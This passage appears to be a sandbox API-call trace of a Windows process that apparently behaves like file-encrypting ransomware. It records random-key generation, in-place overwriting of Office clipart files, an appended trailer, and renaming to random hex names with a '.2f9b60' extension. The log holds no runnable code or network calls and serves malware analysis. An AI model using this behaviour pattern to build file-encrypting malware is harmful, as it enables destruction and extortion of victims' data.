| out: Seed=0x1e44fa70) returned 0x58e07ea1 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x646eb6af [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x7b95bfd8 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x3421dce1 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x7628f721 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x132a4616 [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x345ea45d [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x5230ceed [0149.394] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x4284a4db [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x24fbaf2e [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x3ec2a619 [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x403ecaa9 [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x5da0d193 [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x22340f1d [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x51a29bcd [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x4fcd4e19 [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x5e4b989b [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x7b616104 [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x65c3960 [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0xd28411e [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x699f6dba [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x64b607fb [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x193028cc [0149.395] RtlRandomEx (in: Seed=0x1e44fa70 | out: Seed=0x1e44fa70) returned 0x789269a3 [0149.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4c0 [0149.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59cb0 [0149.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e950 [0149.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59cb0) returned 1 [0149.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f0d0) returned 1 [0149.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0149.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59cb0 [0149.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202100b0 [0149.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20213cc0 [0149.406] ReadFile (in: hFile=0x1b1c, lpBuffer=0x202100b0, nNumberOfBytesToRead=0x2708, lpNumberOfBytesRead=0x1e44fa70, lpOverlapped=0x0 | out: lpBuffer=0x202100b0*, lpNumberOfBytesRead=0x1e44fa70*=0x2708, lpOverlapped=0x0) returned 1 [0149.407] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.407] WriteFile (hFile=0x1b1c, lpBuffer=0x20213cc0, nNumberOfBytesToWrite=0x2708, lpNumberOfBytesWritten=0x1e44fa74, lpOverlapped=0x0) [0186.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9620 [0186.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9650 [0186.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9650) returned 1 [0186.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20213cc0) returned 1 [0186.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202100b0) returned 1 [0186.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59cb0) returned 1 [0186.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0186.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9650 [0186.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0186.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59cb0 [0186.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9680 [0186.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9680) returned 1 [0186.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9680 [0186.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec96b0 [0186.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec96e0 [0186.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec96e0) returned 1 [0186.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59cb0) returned 1 [0186.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0186.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43100ba0 [0186.414] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.414] WriteFile (in: hFile=0x1b1c, lpBuffer=0x43100ba0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e44fb90, lpOverlapped=0x0 | out: lpBuffer=0x43100ba0*, lpNumberOfBytesWritten=0x1e44fb90*=0x10a, lpOverlapped=0x0) returned 1 [0207.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b30 [0207.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9b30) returned 1 [0207.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b30 [0207.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b00 [0207.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9b00) returned 1 [0207.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.155] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="b1") returned 2 [0207.155] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="08") returned 2 [0207.155] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="e8") returned 2 [0207.155] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="05") returned 2 [0207.155] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.155] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="9a") returned 2 [0207.155] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="3d") returned 2 [0207.155] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="e6") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="30") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="39") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="f2") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="47") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="0f") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="f1") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="82") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="d3") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="61") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="18") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="2c") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="9c") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="af") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="6b") returned 2 [0207.156] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="4b") returned 2 [0207.156] RtlInitAnsiString (in: DestinationString=0x1e44fc08, SourceString="b108e805d69a3de63039f2470ff182d31b61182c9caf6b4b" | out: DestinationString="b108e805d69a3de63039f2470ff182d31b61182c9caf6b4b") [0207.156] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e44fbd8, SourceString="b108e805d69a3de63039f2470ff182d31b61182c9caf6b4b", AllocateDestinationString=1 | out: DestinationString="b108e805d69a3de63039f2470ff182d31b61182c9caf6b4b") returned 0x0 [0207.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8870 [0207.157] wcscat (in: _Dest=0x431c7120, _Source="b108e805d69a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b108e805d69a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b108e805d69a" [0207.157] wcscat (in: _Dest=0x431c7120, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b108e805d69a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b108e805d69a.2f9b60" [0207.157] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b108e805d69a.2f9b60", NtPathName=0x1e44fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\b108e805d69a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43128f60 Thread: id = 2329 os_tid = 0x1cc8 [0149.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0149.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF", dwFileAttributes=0x20) returned 1 [0149.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b10 [0149.409] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x23bbfde0 | out: lpFileSize=0x23bbfde0*=20784) returned 1 [0149.410] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x512c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.410] ReadFile (in: hFile=0x1b10, lpBuffer=0x23bbfd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23bbfda8, lpOverlapped=0x0 | out: lpBuffer=0x23bbfd60*, lpNumberOfBytesRead=0x23bbfda8*=0x4, lpOverlapped=0x0) returned 1 [0149.411] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f0d0 [0149.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0149.412] NtQuerySystemTime (in: CurrentTime=0x23bbfca0 | out: CurrentTime=0x23bbfca0*=132462177546190000) returned 0x0 [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x1b04a3ea [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0xc7f9db1 [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x32ef7ee9 [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x674e0866 [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x402ed2e1 [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x25fa63d6 [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x7de99cd9 [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x728e418f [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x4ab17f [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x289d79b1 [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0xd83f703 [0149.412] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x31df7868 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x1485314d [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x3889193e [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x17939c7 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0xe02721b [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x20a09c8f [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x1f06e950 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x592cee81 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x43a11a45 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x7ee6b77c [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x7de3ddfe [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x2592f870 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x3e2a0de4 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x3b42e962 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x6b29135a [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x273ece44 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x2b7c8125 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x19ac794c [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x6986d294 [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x6453e39c [0149.413] RtlRandomEx (in: Seed=0x23bbfc90 | out: Seed=0x23bbfc90) returned 0x5a6422c6 [0149.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2e0 [0149.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0149.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f460 [0149.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0149.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d750) returned 1 [0149.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202178d0 [0149.422] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.422] ReadFile (in: hFile=0x1b10, lpBuffer=0x202178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23bbfd00, lpOverlapped=0x0 | out: lpBuffer=0x202178d0*, lpNumberOfBytesRead=0x23bbfd00*=0x3c00, lpOverlapped=0x0) returned 1 [0149.423] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0149.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0149.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0149.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2021b4e0 [0149.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd30 [0149.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0149.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d750) returned 1 [0149.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0149.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0149.424] WriteFile (in: hFile=0x1b10, lpBuffer=0x2021b4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23bbfd00, lpOverlapped=0x0 | out: lpBuffer=0x2021b4e0*, lpNumberOfBytesWritten=0x23bbfd00*=0x3c00, lpOverlapped=0x0) returned 1 [0161.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2021b4e0) returned 1 [0161.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202178d0) returned 1 [0161.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a52d0 [0161.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd978a0 [0161.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8693c0 [0161.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5300 [0161.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5300) returned 1 [0161.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a5300 [0161.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5330 [0161.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5360 [0161.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5360) returned 1 [0161.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8693c0) returned 1 [0161.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978a0) returned 1 [0161.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab970 [0161.724] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.724] WriteFile (in: hFile=0x1b10, lpBuffer=0x423ab970*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23bbfdb0, lpOverlapped=0x0 | out: lpBuffer=0x423ab970*, lpNumberOfBytesWritten=0x23bbfdb0*=0x10a, lpOverlapped=0x0) returned 1 [0163.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f430 [0163.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f430) returned 1 [0163.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f430 [0163.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e920 [0163.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e920) returned 1 [0163.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.533] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="6d") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="f1") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="f7") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="29") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="6b") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="75") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="75") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="d2") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="87") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="fa") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="2d") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="53") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="f7") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="61") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="12") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="25") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="18") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="3c") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="fc") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="a2") returned 2 [0163.533] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="3a") returned 2 [0163.534] RtlInitAnsiString (in: DestinationString=0x23bbfe28, SourceString="6df1f7296b7575d287fa2d53dcf7611225183c9afc0da23a" | out: DestinationString="6df1f7296b7575d287fa2d53dcf7611225183c9afc0da23a") [0163.534] RtlAnsiStringToUnicodeString (in: DestinationString=0x23bbfdf8, SourceString="6df1f7296b7575d287fa2d53dcf7611225183c9afc0da23a", AllocateDestinationString=1 | out: DestinationString="6df1f7296b7575d287fa2d53dcf7611225183c9afc0da23a") returned 0x0 [0163.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8578e0 [0163.534] RtlFreeAnsiString (AnsiString="6") [0163.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f430) returned 1 [0163.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab970) returned 1 [0163.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5300) returned 1 [0163.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5330) returned 1 [0163.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a52d0) returned 1 [0163.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd30) returned 1 [0163.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f0d0) returned 1 [0163.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f2e0) returned 1 [0163.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f460) returned 1 [0163.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb6330 [0163.537] wcscat (in: _Dest=0x1cdb6330, _Source="6df1f7296b75" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6df1f7296b75") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6df1f7296b75" [0163.537] wcscat (in: _Dest=0x1cdb6330, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6df1f7296b75.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6df1f7296b75.2f9b60" [0163.537] 